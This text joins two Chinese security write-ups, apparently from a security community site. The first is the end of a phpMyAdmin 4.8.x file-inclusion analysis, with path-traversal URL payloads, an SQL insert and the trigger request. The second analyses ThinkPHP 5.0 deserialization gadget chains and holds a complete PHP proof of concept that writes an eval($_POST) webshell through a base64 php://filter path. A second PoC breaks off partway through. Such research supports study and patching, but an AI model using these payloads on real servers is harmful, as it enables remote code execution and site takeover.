1. 那分析第三种情况，就是：
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
这里有个很关键的点，就是 `urldecode` 了我们传进来的 `$page`，然后又获取了问号前的文件名，所以我们把问号 `url`
编码一下都没问题，像这样：
`db_datadict.php%3F/../a.txt`
`include` 是允许 `%3f` 作为文件名的一部分的，执行起来：
所以最终我们的 `payload` 是 `index.php?target=db_datadict.php%3F/../a.txt`。
但是因为浏览器还会解码一次，所以把 `%`
在编码一次，就有了一开始的：`index.php?target=db_sql.php%253F/../../../../../../../../../../../../a.txt`
## 补丁对比
我们可以看看他是怎么修复的：
这里只加多加了两个参数，记住第三个参数是 `true`，看看函数内部：
先判断 `$page` 是否在白名单内，如果不在就往下执行，然后判断第三个参数 `$include` 是否为 `true`，如果是的话就直接返回
`false` ，自然就执行不到 `urldecode` 了。
# 文件包含漏洞2
上个漏洞是 `4.8.2` 修复的，我又在网上发现一个 `4.8.3` 依然有的漏洞，但是没有具体的细节，分析复现一下。
## 漏洞复现
首先我们来复现一下这个漏洞。
1. 首先创建个数据库，这里就叫它 `ceshi1` 吧。
1. 访问 `/chk_rel.php?fixall_pmadb=1&db=ceshi1`
访问后会发现 `ceshi` 多出了一些数据表。
1. 插入一条数据
INSERT INTO `pma__column_info`(`id`, `db_name`, `table_name`, `column_name`, `comment`, `mimetype`, `transformation`, `transformation_options`, `input_transformation`, `input_transformation_options`) VALUES (1,"2","3","4","5","6","7","8","../../../../../../../../a.txt","10");
1. 访问 `/tbl_replace.php?fields_name[multi_edit][abcd][]=4&where_clause[abcd]=junk&table=3&db=2`
## 漏洞分析
k我们一步一步来分析这个过程，第一步就不分析了，创建个数据库。
分析过程中会跳过很多无关紧要的代码，会用 `...` 代替
### 步骤一
我们首先访问了 `/chk_rel.php?fixall_pmadb=1&db=ceshi1` 这个链接，看看源码：
<?php
...
if (isset($_REQUEST['fixall_pmadb'])) {
$relation->fixPmaTables($GLOBALS['db']);
}
...
这里的 `GLOBALS['db']` 其实就是我们 `GET` 传递的。
跟进 `fixPmaTables` 函数。
public function fixPmaTables($db, $create = true)
{
// 数据表的数组
$tablesToFeatures = array(
'pma__bookmark' => 'bookmarktable',
'pma__relation' => 'relation',
'pma__table_info' => 'table_info',
...
);
# 根据函数名 getTables 可得知应该是 获取指定数据库的数据表
$existingTables = $GLOBALS['dbi']->getTables($db, DatabaseInterface::CONNECT_CONTROL);
foreach ($tablesToFeatures as $table => $feature) {
if (! in_array($table, $existingTables)) { //判断表是否存在于指定数据库中
if ($create) { //函数的参数，默认是 true
//创建数据表
if ($createQueries == null) {
$createQueries = $this->getDefaultPmaTableNames();
$GLOBALS['dbi']->selectDb($db);
}
$GLOBALS['dbi']->tryQuery($createQueries[$table]);
... }
...
}
else{
...
}
}
...
$GLOBALS['cfg']['Server']['pmadb'] = $db;
$_SESSION['relation'][$GLOBALS['server']] = $this->checkRelationsParam();
...
}
上面部分是创建数据表，所以我们访问后才会多出一些数据表出来。
下面我单独列出了两句话，这里是重点，我们跟进 `checkRelationsParam` 函数：
public function checkRelationsParam()
{
...
$cfgRelation = array();
...
$cfgRelation['db'] = $GLOBALS['cfg']['Server']['pmadb'];
..
return $cfgRelation;
}
我省略了大部分代码。。因为只有这三句是重点，这个函数返回数组后存进了 `$_SESSION['relation'][$GLOBALS['server']]`
中，这个值我们会在后面用到
### 步骤二
然后我们插入了一条数据，可以先不用思考这条数据的含义。
#### 数据来源
进入到最后一步，也就是漏洞的触发点，再看看我们的 `payload`
：`/tbl_replace.php?fields_name[multi_edit][abcd][]=4&where_clause[abcd]=junk&table=3&db=2`
触发点在 `tbl_replace.php`，现在我们可以先看看触发位置，再一步步构造 `payload`，我的版本是 4.8.3，在这个
`tbl_replace.php` 中的第 224 行左右，会有如下几行代码：
$filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
if (is_file($filename)) {
include_once $filename;
...
}
这里有文件包含，先不管 `$column_name`，我们看看 `$mime_map` 是从哪里来的，我们溯源上去就去发现：
$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
前面我们提到过 `$GLOBALS['db']` 我们可以通过传递 `GET` 控制，`table`
其实也可以，也就是这两个参数我们都可以控制，然后我们跟进 `getMIME` 这个函数。
public static function getMIME($db, $table, $strict = false, $fullName = false)
{
$relation = new Relation();
$cfgRelation = $relation->getRelationsParam();
if (! $cfgRelation['mimework']) {
return false;
}
$com_qry = '';
...
$com_qry .= '`mimetype`,
`transformation`,
`transformation_options`,
`input_transformation`,
`input_transformation_options`
FROM ' . Util::backquote($cfgRelation['db']) . '.'
. Util::backquote($cfgRelation['column_info']) . '
WHERE `db_name` = \'' . $GLOBALS['dbi']->escapeString($db) . '\'
AND `table_name` = \'' . $GLOBALS['dbi']->escapeString($table) . '\'
AND ( `mimetype` != \'\'' . (!$strict ? '
OR `transformation` != \'\'
OR `transformation_options` != \'\'
OR `input_transformation` != \'\'
OR `input_transformation_options` != \'\'' : '') . ')';
$result = $GLOBALS['dbi']->fetchResult(
$com_qry, 'column_name', null, DatabaseInterface::CONNECT_CONTROL
);
foreach ($result as $column => $values) {
...
$values['transformation'] = self::fixupMIME($values['transformation']);
$values['transformation'] = $subdir . $values['transformation'];
$result[$column] = $values;
}
return $result;
} // end of the 'getMIME()' function
这里最重要的就是一个查询语句 `$com_qry`，我们的 `$db` 和 `$table` 参数仅仅是被带入了 `where`
条件，而不是查询的数据库和表
查询的数据库是 `$cfgRelation['db']`，也就是函数一个开始的：
`$cfgRelation = $relation->getRelationsParam();`
public function getRelationsParam()
{
// 判断 $_SESSION['relation'][$GLOBALS['server']] 是否为空，如果为空就赋值一次
if (empty($_SESSION['relation'][$GLOBALS['server']])
|| (empty($_SESSION['relation'][$GLOBALS['server']]['PMA_VERSION']))
|| $_SESSION['relation'][$GLOBALS['server']]['PMA_VERSION'] != PMA_VERSION
) {
$_SESSION['relation'][$GLOBALS['server']] = $this->checkRelationsParam();
}
$GLOBALS['cfgRelation'] = $_SESSION['relation'][$GLOBALS['server']];
return $_SESSION['relation'][$GLOBALS['server']];
}
这里返回的值就是第一步了我们辛辛苦苦设置的。
所以当判断 `$_SESSION['relation'][$GLOBALS['server']]` 是否为空时会返回 `false`，就不会进入 `if`
语句，也就不会重新赋值（正常情况下剩下两个判断可以无视）。
（这里说明一下为什么要在第一步设置这个值：因为如果不在第一部设置，就会在这里进入 `if` 语句，然而从这里进去的话，`db` 的值就是 `false`
了，所以无法查询）
所以 `sql` 语句里的：
`$cfgRelation['db'] = $_SESSION['relation'][$GLOBALS['server']]['db']`
那么这个值就是我们刚刚设置的，也就是 `ceshi1`。
回到 `sql`
语句，我们发现这个只是查询的数据库，数据表是：`$cfgRelation['column_info']`，但是这个数据表是有默认值的，即：`pma__column_info`
，这也是在第一步中设置的，所以我们不用刻意设置。
我们可以输出一下这个 `sql` 语句：
SELECT `column_name`, `mimetype`, `transformation`, `transformation_options`, `input_transformation`, `input_transformation_options` FROM `ceshi1`.`pma__column_info` WHERE `db_name` = '2' AND `table_name` = '3' AND ( `mimetype` != '' OR `transformation` != '' OR `transformation_options` != '' OR `input_transformation` != '' OR `input_transformation_options` != '')
`where` 语句中 `db_name` 和 `table_name` 是我们可控的，其他的值只要不为空，就能查询出语句了。。
当然我们前面插入了一条数据，目的就是为了在这里查询出来，因为是我们自己插入的数据，所以是可控的。
#### paload 构造
再次回到 `tpl_replace.php`，我们看看那个包含的 `$filename` ：
$filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
这里的 `$mime_map` 是我们可控的值了，那么 `$column_name` 从哪来的呢？
list($loop_array, $using_key, $is_insert, $is_insertignore)
= $insertEdit->getParamsForUpdateOrInsert();
foreach ($loop_array as $rownumber => $where_clause) {
$multi_edit_columns_name
= isset($_REQUEST['fields_name']['multi_edit'][$rownumber])
? $_REQUEST['fields_name']['multi_edit'][$rownumber]
foreach ($multi_edit_columns_name as $key => $column_name) {
...
// 判断不为空
if (!empty($mime_map[$column_name])
&& !empty($mime_map[$column_name]['input_transformation'])
) {
$filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
if (is_file($filename)) {
include_once $filename;
这里比较绕，需要梳理一下。
1. `$column_name` 来自 `$multi_edit_columns_name` 这个数组的值。
2. `$multi_edit_columns_name` 来自 `$_REQUEST['fields_name']['multi_edit'][$rownumber]`
3. `$rownumber` 来自 `$loop_array` 的键
我们想知道 `$loop_array` 来自哪里，就得跟进 `getParamsForUpdateOrInsert` 函数，这个函数并不复杂，跟进去看看：
public function getParamsForUpdateOrInsert()
{
if (isset($_REQUEST['where_clause'])) {
// we were editing something => use the WHERE clause
$loop_array = is_array($_REQUEST['where_clause'])
? $_REQUEST['where_clause']
: array($_REQUEST['where_clause']);
...
} else {
...
}
return array($loop_array, $using_key, $is_insert, $is_insertignore);
}
没错，这个 `$loop_array` 也是我们完全可控的，来自 `$_REQUEST['where_clause']`。
\-----分割线，冷静一下----
再看看 `$filename`：
$filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
`$mime_map` 我们可控，是一个数组，从 `pma__column_info` 查询出来的。
`$mime_map` 中的键，就是表中的 `column_name`。
回看我们刚刚插入的数据中，`column_name` 是 `4`，反推回去，所以：
所以我们要 `$mime_map[4]['input_transformation']` （提醒：`$column_name` 从
`$multi_edit_columns_name` 获取的
也就是说
$multi_edit_columns_name[0] = $_REQUEST['fields_name']['multi_edit'][$rownumber][0] = 4
这里也不一定要是 `0` ，任意都可以。（提醒：`$rownumber` 从 `$loop_array` 中获取。
因为数组我们都可控，所以假设 `$rownumber` 为 `haha` 吧。
所以构造：`$loop_array[haha] = $_REQUEST['where_clause'][haha] =任意`。
\---- 分割线冷静一下 ----
我们最终的 `payload`：
where_clause[haha]=any
fields_name[multi_edit][haha][]=4
table=3
db=2
带上这个参数访问 `tpl_replace.php` 就能包含数据表中的 `input_transformation`，也就是我们插入的那个数据。
当然他还拼接上了一些路径，所以最后是：
`libraries/classes/Plugins/Transformations/../../../../../../../../a.txt`
## 补丁对比
在 4.8.4 的版本中我们发现发直接把这几行删掉了。。。。
## 参考链接
<https://www.exploit-db.com/exploits/44928>
<https://blog.scrt.ch/2018/12/14/phpmyadmin-multiple-vulnerabilities/> | 社区文章 |
# thinkphp5.0.*反序列化链分析（5.0全版本覆盖）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在一次渗透测试中遇到了一个基于Thinkphp5.0.10的站，站点具有非常多的disabled
function(phpinfo和scandir等常见函数也在里面)，最终想到的办法是采用反序列化的方法写shell。在网上找了一圈的反序列化的链子没有一个能用的，向上向下都不兼容。这些反序列化链后面写文件的部分都是相同的，但是前面对think\console\Output类中的__call方法的触发方法不尽相同。最终发现，可以将整个thinkphp5.0系列分为两部分，这两个部分具有不同的可通用的反序列化链。一部分是从5.0.0-5.0.3，另一部分则是5.0.4-5.0.24。
本次实验环境Windows+php7.3.4+apache2.4.39
## 1\. thinkphp5.0.0-thinkphp5.0.3
下面以版本ThinkPHP V5.0.3 为例进行分析。
在thinkphp的反序列化链中，大部分网上的触发方法都是从think\process\pipes\Windows的__destruct方法出发
public function __destruct()
{
$this->close();
$this->removeFiles();
}
public function close()
{
parent::close();
foreach ($this->fileHandles as $handle) {
fclose($handle);
}
$this->fileHandles = [];
}
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
在通过file_exists触发think\Model的__toString魔术方法，然后通过__toString方法调用的toJson，toJson调用的toArray，在toArray中触发think\console\Output中的__call方法。
public function __toString()
{
return $this->toJson();
}
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
但是问题来了
下面是thinkphp5.0.03版本的toArray
public function toArray()
{
$item = [];
//过滤属性
if (!empty($this->visible)) {
$data = array_intersect_key($this->data, array_flip($this->visible));
} elseif (!empty($this->hidden)) {
$data = array_diff_key($this->data, array_flip($this->hidden));
} else {
$data = $this->data;
}
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof Collection) {
// 关联模型对象
$item[$key] = $val->toArray();
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $value->toArray();
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性（必须定义获取器）
if (!empty($this->append)) {
foreach ($this->append as $name) {
$item[$name] = $this->getAttr($name);
}
}
return !empty($item) ? $item : [];
}
与之相比，是thinkphp5.0.24的toArray（其实中间的几个版本的toArray也有差别，后面也会提到）
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
$data = array_merge($this->data, $this->relation);
// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性（必须定义获取器）
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}
可以发现，在5.0.3版本中并没有用来调用任意Model中函数的下列代码
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
//......
}
而且用得都是写死的函数，不存在触发其它类魔术方法的条件。只能从头开始换一条__destruct路线进行分析。
一共还有三个的备选项
1. thinkphp/library/think/process/pipes/Unix.php
public function __destruct()
{
$this->close();
}
public function close()
{
foreach ($this->pipes as $pipe) {
fclose($pipe);
}
$this->pipes = [];
}
不具备可利用性，pass
2. thinkphp/library/think/db/Connection.php
public function __destruct()
{
// 释放查询
if ($this->PDOStatement) {
$this->free();
}
// 关闭连接
$this->close();
}
}
public function free()
{
$this->PDOStatement = null;
}
public function close()
{
$this->linkID = null;
}
同样不具备可利用性。
3. thinkphp/library/think/Process.php
public function __destruct()
{
$this->stop();
}
public function stop()
{
if ($this->isRunning()) {
if ('\\' === DS && !$this->isSigchildEnabled()) {
exec(sprintf('taskkill /F /T /PID %d 2>&1', $this->getPid()), $output, $exitCode);
if ($exitCode > 0) {
throw new \RuntimeException('Unable to kill the process');
}
} else {
$pids = preg_split('/\s+/', `ps -o pid --no-heading --ppid {$this->getPid()}`);
foreach ($pids as $pid) {
if (is_numeric($pid)) {
posix_kill($pid, 9);
}
}
}
}
$this->updateStatus(false);
if ($this->processInformation['running']) {
$this->close();
}
return $this->exitcode;
}
public function isRunning()
{
if (self::STATUS_STARTED !== $this->status) {
return false;
}
$this->updateStatus(false);
return $this->processInformation['running'];
}
protected function updateStatus($blocking)
{
if (self::STATUS_STARTED !== $this->status) {
return;
}
$this->processInformation = proc_get_status($this->process);
$this->captureExitCode();
$this->readPipes($blocking, '\\' === DS ? !$this->processInformation['running'] : true);
if (!$this->processInformation['running']) {
$this->close();
}
}
protected function isSigchildEnabled()
{
if (null !== self::$sigchild) {
return self::$sigchild;
}
if (!function_exists('phpinfo')) {
return self::$sigchild = false;
}
ob_start();
phpinfo(INFO_GENERAL);
return self::$sigchild = false !== strpos(ob_get_clean(), '--enable-sigchild');
}
public function getPid()
{
if ($this->isSigchildEnabled()) {
throw new \RuntimeException('This PHP has been compiled with --enable-sigchild. The process identifier can not be retrieved.');
}
$this->updateStatus(false);
return $this->isRunning() ? $this->processInformation['pid'] : null;
}
private function close()
{
$this->processPipes->close();
if (is_resource($this->process)) {
$exitcode = proc_close($this->process);
} else {
$exitcode = -1;
}
$this->exitcode = -1 !== $exitcode ? $exitcode : (null !== $this->exitcode ? $this->exitcode : -1);
$this->status = self::STATUS_TERMINATED;
if (-1 === $this->exitcode && null !== $this->fallbackExitcode) {
$this->exitcode = $this->fallbackExitcode;
} elseif (-1 === $this->exitcode && $this->processInformation['signaled']
&& 0 < $this->processInformation['termsig']
) {
$this->exitcode = 128 + $this->processInformation['termsig'];
}
return $this->exitcode;
}
注意到，只要是有了proc_get_status的地方就会触发app
error，因为我们无法序列化resource对象（我个人测试是这样，如果大佬有方法还请赐教）。这样一看上面除了close方法，就没啥利用点了。而且close方法的第一行就可以触发任意类的__call魔术方法或者任意类的close方法。
看下close方法
发现都没啥利用价值。不是没有利用的地方，就是和这里的close触发点没有区别。
直奔think\console\Output类中的__call魔术方法，企图一步到位。这时候遇到的只能是app
error，因为其中的block方法需要2个参数。
public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}
if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}
protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");
}
public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);
}
那么这边就需要找另一个类的__call魔术方法做跳板，最终发现think\model\Relation是所有__call中利用最方便的（其它的__call我没找到能无条件利用的）
public function __call($method, $args)
{
if ($this->query) {
switch ($this->type) {
case self::HAS_MANY:
if (isset($this->where)) {
$this->query->where($this->where);
} elseif (isset($this->parent->{$this->localKey})) {
// 关联查询带入关联条件
$this->query->where($this->foreignKey, $this->parent->{$this->localKey});
}
break;
case self::HAS_MANY_THROUGH:
$through = $this->middle;
$model = $this->model;
$alias = Loader::parseName(basename(str_replace('\\', '/', $model)));
$throughTable = $through::getTable();
$pk = (new $this->model)->getPk();
$throughKey = $this->throughKey;
$modelTable = $this->parent->getTable();
$this->query->field($alias . '.*')->alias($alias)
->join($throughTable, $throughTable . '.' . $pk . '=' . $alias . '.' . $throughKey)
->join($modelTable, $modelTable . '.' . $this->localKey . '=' . $throughTable . '.' . $this->foreignKey)
->where($throughTable . '.' . $this->foreignKey, $this->parent->{$this->localKey});
break;
case self::BELONGS_TO_MANY:
// TODO
}
$result = call_user_func_array([$this->query, $method], $args);
if ($result instanceof \think\db\Query) {
$this->option = $result->getOptions();
return $this;
} else {
$this->option = [];
return $result;
}
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}
不用管其它的，单单是这句，我们就已经有了良好的跳板了
$this->query->where($this->where);
$this->query和$this->where均可控，这时候再触发Output中的__call就不会有app error了。
继续跟进，对Output中最后触发的write方法进行查看
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}
通过这个方法，我们可以调用任意类的write（这边也不用考虑触发__call魔术方法了）。生成的文件要内容可控，且文件的后缀是php。
在众多的write方法中，最后认为只有think\session\driver\Memcache和think\session\driver\Memcached利用价值较大。
//thinkphp/library/think/session/driver/Memcached.php
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}
//thinkphp/library/think/session/driver/Memcache.php
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
}
继续寻找，含有set的方法的类，到这边，网上已经有很多分析过的文章了，这边就简单写一下路径，不细说了，为了在Windows下也能稳定使用，这里先用think\cache\driver\Memcached做过渡，然后将其中的$this->handler赋值为think\cache\driver\File类的实例。
//think\cache\Driver
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) {
$value = $this->get($key);
$value .= ',' . $name;
} else {
$value = $name;
}
$this->set($key, $value);
}
}
protected function getCacheKey($name)
{
return $this->options['prefix'] . $name;
}
//think\cache\driver\Memcached
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($this->tag && !$this->has($name)) {
$first = true;
}
$key = $this->getCacheKey($name);
$expire = 0 == $expire ? 0 : $_SERVER['REQUEST_TIME'] + $expire;
if ($this->handler->set($key, $value, $expire)) {
isset($first) && $this->setTagItem($key);
return true;
}
return false;
}
//think\cache\driver\File
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$filename = $this->getCacheKey($name);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . $data . "\n?>";
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}
protected function getCacheKey($name)
{
$name = md5($name);
if ($this->options['cache_subdir']) {
// 使用子目录
$name = substr($name, 0, 2) . DS . substr($name, 2);
}
if ($this->options['prefix']) {
$name = $this->options['prefix'] . DS . $name;
}
$filename = $this->options['path'] . $name . '.php';
$dir = dirname($filename);
if (!is_dir($dir)) {
mkdir($dir, 0755, true);
}
return $filename;
}
通过构造base64字符串，再进过伪协议解码后成功写入文件。具体的分析可以参考[https://xz.aliyun.com/t/7310。](https://xz.aliyun.com/t/7310%E3%80%82)
结果展示：
poc
<?php
namespace think;
class Process
{
private $processPipes;
private $status;
private $processInformation;
public function __construct(){
$this->processInformation['running']=true;
$this->status=3;
$this->processPipes=new \think\model\Relation();
}
}
namespace think\model;
use think\console\Output;
class Relation
{
protected $query;
const HAS_ONE = 1;
const HAS_MANY = 2;
const HAS_MANY_THROUGH = 5;
const BELONGS_TO = 3;
const BELONGS_TO_MANY = 4;
protected $type=2;
protected $where=1;
public function __construct()
{
$this->query=new Output();
}
}
namespace think\console;
class Output{
protected $styles = [
'info',
'error',
'comment',
'question',
'highlight',
'warning',
'getTable',
'where'
];
private $handle;
public function __construct()
{
$this->handle = (new \think\session\driver\Memcache);
}
}
namespace think\session\driver;
class Memcache
{
protected $handler;
public function __construct()
{
$this->handler = (new \think\cache\driver\Memcached);
}
}
namespace think\cache\driver;
use think\Process;
class Memcached
{
protected $tag;
protected $options;
protected $handler;
public function __construct()
{
$this->tag = true;
$this->options = [
'expire' => 0,
'prefix' => 'PD9waHAgZXZhbCgkX1BPU1RbJ3pjeTIwMTgnXSk7ID8+',
];
$this->handler = (new File);
}
}
class File
{
protected $tag;
protected $options;
public function __construct()
{
$this->tag = false;
$this->options = [
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'data_compress' => false,
'path' => 'php://filter/convert.base64-decode/resource=./',
];
}
}
use think;
$a=new Process();
echo urlencode(serialize($a));
## 2\. thinkphp5.0.4-thinkphp5.0.24
首先要注意的一个变化是以往的利用的Relation类变为了抽象了，无法直接实例化。所以前面的链子到这边也就断了。
下面的审计以thinkphp5.0.10为例，因为这个版本很奇葩，别的版本的poc在它这一直行不通，向上也不兼容，向下也不兼容。如果能在该版本下使用poc大概率是能覆盖thinkphp5.0.4-thinkphp5.0.24的。
还是先看最老的套路能不能行的通，走Window下的__destruct触发Model类的__toString。看下该版本的Model类的toArray方法（前面的过程没有任何变化）
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
$data = array_merge($this->data, $this->relation);
// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性（必须定义获取器）
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$item[$name] = $this->getAttr($name);
}
}
}
return !empty($item) ? $item : [];
}
public function getAttr($name)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
// 检测属性获取器
$method = 'get' . Loader::parseName($name, 1) . 'Attr';
if (method_exists($this, $method)) {
$value = $this->$method($value, $this->data, $this->relation);
} elseif (isset($this->type[$name])) {
// 类型转换
$value = $this->readTransform($value, $this->type[$name]);
} elseif (in_array($name, [$this->createTime, $this->updateTime])) {
if (is_string($this->autoWriteTimestamp) && in_array(strtolower($this->autoWriteTimestamp), [
'datetime',
'date',
'timestamp',
])
) {
$value = $this->formatDateTime(strtotime($value), $this->dateFormat);
} else {
$value = $this->formatDateTime($value, $this->dateFormat);
}
} elseif ($notFound) {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
// 不存在该字段 获取关联数据
$value = $this->getRelationData($modelRelation);
// 保存关联对象值
$this->relation[$name] = $value;
} else {
throw new InvalidArgumentException('property not exists:' . $this->class . '->' . $name);
}
}
return $value;
}
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
} else {
throw new InvalidArgumentException('property not exists:' . $this->class . '->' . $name);
}
}
仔细观察发现，如果我们能够正常进入if
(!empty($this->append)){…}分支，通过getData，我们可以实例化其它类，从而调用其它类具有的append方法或者__call魔术方法。而且可控变量很多，$this->append不为空，将需要实例化的类放入$this->data或者$this->relation，跳过getAttr方法中所有可能遇到的类型转换即可。最终将$this->append数组中的对应值修改成数组即可进入下列语句：
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
在审计到这时，似乎已经可以触发前面所提到的think\console\Output类的__call了，而且也具有参数。但是在实际过程中，又走到了一生之敌的app
error。希望的参数是string类型，给的却是数组。那么如果__call方法不能用的话，是不是可以看看有没有其它类中的append方法，可以做跳板呢。
具有append方法的类并不多，只有两个，一个是Model一个是Collection，跟进查看
//Model
public function append($append = [], $override = false)
{
$this->append = $override ? $append : array_merge($this->append, $append);
return $this;
}
不存在利用点
public function append($append = [], $override = false)
{
$this->each(function ($model) use ($append, $override) {
/** @var Model $model */
$model->append($append, $override);
});
return $this;
}
这边的参数仍然会是数组，依旧不能直接触发think\console\Output类的__call。同样查看其它类的__call也存在类似问题，所以这条反序列化的链子似乎已经走到死胡同了。但是在已经成为了抽象类的Relation却带来了新的利用方式，但是现在的Relation的__call方法和之前也不大一样了。
abstract protected function baseQuery();
public function __call($method, $args)
{
if ($this->query) {
// 执行基础查询
$this->baseQuery();
$result = call_user_func_array([$this->query, $method], $args);
if ($result instanceof Query) {
return $this;
} else {
$this->baseQuery = false;
return $result;
}
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}
}
按照之前的分析来看，下面的call_user_func_array是无法有效利用的，所以如果要想找跳板的话，必然是利用了baseQuery方法。
查看后发现触发条件最简单的是think\model\relation\HasMany类中的baseQuery方法。
protected function baseQuery()
{
if (empty($this->baseQuery)) {
if (isset($this->parent->{$this->localKey})) {
// 关联查询带入关联条件
$this->query->where($this->foreignKey, $this->parent->{$this->localKey});
}
$this->baseQuery = true;
}
}
具有可控参数和触发__call的条件。后面就算将$this->query赋值为think\console\Output类实例，然后和前面低版本的一样触发就行。但是这个还存在一个问题。因为前面触发的toArray的if
(!empty($this->append)){…}分支是在thinkphp5.0.05（包括5.0.05）之后才存在的。也就是说这条链子在thinkphp5.0.04版本是行不通的。这时候我们想起了之前对于thinkphp5.0.03版本的反序列化链的挖掘。
和前面低版本的链子一样，直接触发__call方法，但是此时的Relation已经是抽象类了，无法作为跳板利用。结合之前的分析，这边我们采用think\model\relation\HasMany作为跳板进行构造。和低版本相比，除了中间利用了Relation类的子类作为跳板之外，其它地方没有任何区别。
poc
namespace think;
use think\model\relation\HasMany;
class Process
{
private $processPipes;
private $status;
private $processInformation;
public function __construct(){
$this->processInformation['running']=true;
$this->status=3;
$this->processPipes=new HasMany();
}
}
namespace think;
class Model{
}
namespace think\model;
use think\Model;
class Merge extends Model{
public $a='1';
public function __construct()
{
}
}
namespace think\model\relation;
use think\console\Output;
use think\db\Query;
